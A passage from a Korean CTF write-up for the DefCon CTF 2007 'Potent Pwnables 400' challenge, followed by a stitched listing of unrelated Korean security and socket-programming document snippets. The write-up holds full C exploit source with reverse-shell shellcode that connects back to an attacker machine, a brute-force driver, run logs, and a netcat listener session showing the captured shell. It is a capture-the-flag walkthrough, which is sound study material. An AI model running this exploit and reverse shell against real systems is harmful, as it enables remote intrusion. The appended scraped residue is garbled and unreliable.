함수로할당받아서우리가전송하는값을써넣는 7 일때 코드의 0xbfbdf000 주소와겹쳐질때, 우리가원하는값으로 vul() 함수의 ret 값을덮어쓸수있습니다. 여기서우리가확실히알수있는주소값은 0xbfbdf000 밖에없습니다. 그러므로쉘코드를 0xbfbdf000 부터넣고그뒤에쉘코드의첫시작주소를가리키는 0xbfbdf000 배열을채워넣어서공격해야합니다. 우리의공격코드는다음과같습니다. 0xbfbdf000 쉘코드의길이 : 4의배수 4096 ( 쉘코드의길이 : 4의배수 ) reverse shellcode 0xbfbdf000 0xbfbdf000 0xbfbdf000 0xbfbdf000 0xbfbdf000 총 4096 바이트 쉘코드의길이를 4 의배수로맞춰주는이유는 ret 를제대로덮어쓰기위함입니다. 공격시나리오는다음과같습니다. 1. 앞 4바이트의값이 3인 8바이트데이터를전송 2. 1이상인 4바이트값을전송 3. 1 과 2 번의반복으로 esp 레지스터의위치를조작함 (0xbfbdf000 까지올라가도록 ) 4. 앞 4바이트의값이 7이고, 뒤 4바이트의값이 4096인 8바이트데이터를전송 5. 앞에서만든 4096 바이트공격코드를전송

21 해당익스플로잇코드는다음과같습니다. ( 사용된쉘코드는저번문서때만든 :80 으로연결하는 Reverse 쉘코드입니다 ) /* * DefCon CTF 2007 Prequals * Potent Pwnables 400 exploit by graylynx (graylynx at gmail.com) * * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <arpa/inet.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <netinet/in.h> void error_handling(char *message); char ex1[] = " x03 x00 x00 x00 x41 x41 x41 x41"; char ex2[] = " x41 x41 x41 x41"; char ex3[] = " x07 x00 x00 x00 x00 x10 x00 x00"; char reverse_sh[] = " x6a x61 x58 x99 x52 x42 x52 x42 x52 x57 xcd x80 x93 x68 xc0 xa8 xf8 x01" " xb8 xff xfd xff xaf xf7 xd8 x50 x89 xe2 x6a x10 x52 x53 x57 x6a x62 x58" " xcd x80 x6a x02 x59 x51 x53 x57 x6a x5a x58 xcd x80 x49 x79 xf5 x50" " x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe2 x50 x54 x52 x57 x6a x3b" " x58 xcd x80"; int main(int argc, char *argv[]) { int serv_sock; struct sockaddr_in serv_addr; int recv_len, i; char buffer[1024]; char *ex4; int *p_ex4; if(argc!= 4) { printf("usage: %s <ip> <port> <recursive> n", argv[0]); exit(1); } ex4 = (char *)malloc(4096); p_ex4 = (int *)ex4;

22 memset(buffer, 0, 1024); memset(ex4, 0, 4096); strcpy(ex4, reverse_sh); p_ex4 += (int)((strlen(reverse_sh) + strlen(reverse_sh) % 4) / 4); for(i = 0; i < ( strlen(reverse_sh) - (strlen(reverse_sh) % 4)) / 4; i++) *p_ex4++ = 0xbfbdf000; serv_sock = socket(pf_inet, SOCK_STREAM, 0); memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = inet_addr(argv[1]); serv_addr.sin_port = htons(atoi(argv[2])); if(connect(serv_sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) error_handling("connect() error"); for(i = 0; i < atoi(argv[3]); i++) { printf("[recursive:%03d] exploit code 1 send.. ", i); write(serv_sock, ex1, 8); puts("ok"); } printf("[recursive:%03d] exploit code 2 send.. ", i); write(serv_sock, ex2, 4); puts("ok"); printf("[recursive:%03d] exploit code 3 send.. ", i); write(serv_sock, ex3, 8); puts("ok"); printf("[recursive:%03d] exploit code 4 send.. ", i); write(serv_sock, ex4, 4096); puts("ok"); printf(" ncheck your reverse shell :) lol n"); } close(serv_sock); void error_handling(char *message) { fputs(message, stderr); fputc(' n', stderr); exit(1); } 또한, 재귀호출을몇번해야할지몰라서, bruteforce 를하는간단한코드도만들었습니다.

23 ~/work/kenshoto/pwn400]$ gcc -o ex400 ex400.c ~/work/kenshoto/pwn400]$ cat bruteforce.c int main(int argc, char *argv[]) { unsigned int i; char cmd[256]; if(argc!= 2) { printf("usage: %s <bruteforce> n", argv[0]); exit(1); } for(i = 1; i < atoi(argv[1]); i++) { sprintf(cmd, "./ex %d", i); system(cmd); } return 0; } [graylynx@freebsd62 ~/work/kenshoto/pwn400]$ gcc -o bruteforce bruteforce.c [graylynx@freebsd62 ~/work/kenshoto/pwn400]$./bruteforce 100 [recursive:000] exploit code 1 send.. OK [recursive:000] exploit code 2 send.. OK [recursive:001] exploit code 3 send.. OK [recursive:001] exploit code 4 send.. OK Check your reverse shell :) lol [recursive:000] exploit code 1 send.. OK [recursive:000] exploit code 2 send.. OK [recursive:001] exploit code 1 send.. OK [recursive:001] exploit code 2 send.. OK [recursive:002] exploit code 3 send.. OK [recursive:002] exploit code 4 send.. OK Check your reverse shell :) lol [recursive:000] exploit code 1 send.. OK [recursive:000] exploit code 2 send.. OK [recursive:001] exploit code 1 send.. OK [recursive:001] exploit code 2 send.. OK [recursive:002] exploit code 1 send.. OK [recursive:002] exploit code 2 send.. OK [recursive:003] exploit code 3 send.. OK [recursive:003] exploit code 4 send.. OK (bruteforce 공격중 ) [recursive:091] exploit code 2 send.. OK [recursive:092] exploit code 1 send.. OK [recursive:092] exploit code 2 send.. OK [recursive:093] exploit code 1 send.. OK [recursive:093] exploit code 2 send.. OK

24 [recursive:094] exploit code 1 send.. OK [recursive:094] exploit code 2 send.. OK [recursive:095] exploit code 1 send.. OK [recursive:095] exploit code 2 send.. OK [recursive:096] exploit code 1 send.. OK [recursive:096] exploit code 2 send.. OK [recursive:097] exploit code 1 send.. OK [recursive:097] exploit code 2 send.. OK [recursive:098] exploit code 1 send.. OK [recursive:098] exploit code 2 send.. OK [recursive:099] exploit code 3 send.. OK [recursive:099] exploit code 4 send.. OK Check your reverse shell :) lol [graylynx@freebsd62 ~/work/kenshoto/pwn400]$ 아참,, 코드분석할때보셨겠지만, 자식프로세스의수명은 5초입니다. 그러므로 Reverse 쉘코드가정상적으로실행되어 nc 에쉘을띄워줘도, 5초후에는다시닫히게됩니다. 이럴때는 nc 를실행시켜놓고미리 /bin/sh i 를타이핑해서연결이되자마자새로운쉘을실행시키도록하면됩니다. C: Documents and Settings graylynx>nc -l -p 80 /bin/sh -i $ uname -a FreeBSD freebsd62.localhost 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40 :27 UTC 2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/generic i386 $ id uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) $ netstat -an grep 80 tcp ESTABLISHED tcp TIME_WAIT c1ae0d20 dgram 0 0 c1adf880 0 c1ae0b7c 0 /var/run/logpr iv $ 부족한글끝까지읽어주셔서감사합니다 :)

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 얇지만얇지않은 TCP/IP 소켓프로그래밍 C 2 판 4 장 UDP 소켓 제 4 장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송싞및수싞 4.4 UDP 소켓의연결 UDP 소켓의특징 UDP 소켓의특성 싞뢰할수없는데이터젂송방식 목적지에정확하게젂송된다는보장이없음. 별도의처리필요 비연결지향적, 순서바뀌는것이가능 흐름제어 (flow

More information

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode] TCP Server/Client Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 TCP Server Program Procedure TCP Server socket() bind() 소켓생성 소켓번호와소켓주소의결합 listen() accept() read() 서비스처리, write()

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770>

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770> C 로알아보는 소켓프로그래밍 이현환 (NOON) haonun@gmail.com http://noon.tistory.com Hacking Study Grup E.Y.E -------------------------------------------------------------------- 목차 --------------------------------------------------------------------

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 1 목포해양대해양컴퓨터공학과 UDP 소켓 네트워크프로그램설계 4 장 2 목포해양대해양컴퓨터공학과 목차 제 4장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송신및수신 4.4 UDP 소켓의연결 3 목포해양대해양컴퓨터공학과 UDP 소켓의특징 UDP 소켓의특성 신뢰할수없는데이터전송방식 목적지에정확하게전송된다는보장이없음.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Reverse Engineering Basics IA32 Basics CPU(Central Processing Units) 의구조 ALU Register EAX s EBX ECX EDX ESI EDI ESP EBP Control Unit EIP IR Eflags I/O Unit Data Bus Address Bus IA32 Register What is Register?

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

1장. 유닉스 시스템 프로그래밍 개요

1장.  유닉스 시스템 프로그래밍 개요 Unix 프로그래밍및실습 7 장. 시그널 - 과제보충 응용과제 1 부모프로세스는반복해서메뉴를출력하고사용자로부터주문을받아자식프로세스에게주문내용을알린다. (SIGUSR1) ( 일단주문을받으면음식이완료되기전까지 SIGUSR1 을제외한다른시그널은모두무시 ) timer 자식프로세스는주문을받으면조리를시작한다. ( 일단조리를시작하면음식이완성되기전까지 SIGALARM 을제외한다른시그널은모두무시

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Microsoft Word - KPMC-400,401 SW 사용 설명서

Microsoft Word - KPMC-400,401 SW 사용 설명서 LKP Ethernet Card SW 사용설명서 Version Information Tornado 2.0, 2.2 알 림 여기에실린내용은제품의성능향상과신뢰도의증대를위하여예고없이변경될수도있습니다. 여기에실린내용의일부라도엘케이일레븐의사전허락없이어떠한유형의매체에복사되거나저장될수없으며전기적, 기계적, 광학적, 화학적인어떤방법으로도전송될수없습니다. 엘케이일레븐경기도성남시중원구상대원동

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 소켓 2 1 소켓 클라이언트 - 서버모델 네트워크응용프로그램 클리이언트 - 서버모델을기반으로동작한다. 클라이언트 - 서버모델 하나의서버프로세스와여러개의클라이언트로구성된다. 서버는어떤자원을관리하고클라이언트를위해자원관련서비스를제공한다. 3 소켓의종류 소켓 네트워크에대한사용자수준의인터페이스를제공 소켓은양방향통신방법으로클라이언트 - 서버모델을기반으로프로세스사이의통신에매우적합하다.

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

좀비프로세스 2

좀비프로세스 2 Signal & Inter-Process Communication Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 좀비프로세스 2 좀비프로세스 (zombie process) 좀비프로세스란프로세스종료후메모리상에서사라지지않는프로세스 좀비프로세스의생성이유. 자식프로세스는부모프로세스에게실행결과에대한값을반환해야한다.

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 03 장 도메인네임시스템과주소 패밀리 (IPv4-IPv6 서비스 ) 1 목차 제 3 장도메인네임시스템과주소패밀리 3.1 도메인네임주소를숫자주소로매핑하기 3.2 IP 버전에무관한주소-범용코드의작성 3.3 숫자주소에서도메인네임주소획득하기 2 getaddrinfo() 를활용한주소 범용 (Generic) 코드 주소범용 (Generic) 코드란? 주소버전

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

[ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점 Q&A 5. exploit 분석 6. 보안대책 7. 결론 8. 레퍼런스 2

[ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점 Q&A 5. exploit 분석 6. 보안대책 7. 결론 8. 레퍼런스 2 CVE-2016-3857 취약점분석보고서 ( 안드로이드커널임의쓰기취약점 ) ㅁ작성자 : x90c (x90chacker@gmail.com) ㅁ작성일 : 2018 년 7 월 18 일 ( 수 ) ㅁ대외비등급 : A (Top Secret) 1 [ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft Word - UFuz3 분석.doc

Microsoft Word - UFuz3 분석.doc 파일퍼저 UFuz3 분석 이용일 (foryou2008@nate.com) 2008-07-26 0. 개요 UFuz3 는 eeye 에서공개한파일퍼저입니다. UFuz3 의기능분석및상세분석을통해, 퍼저는어떤모 습을갖추고있는지, 또한퍼저는내부적으로어떤방식으로동작하는지살펴보려고합니다. 1. 기능분석 UFuz3 는파일을파싱하는루틴내에 Integer Overflow 가존재하는지를검사합니다.

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

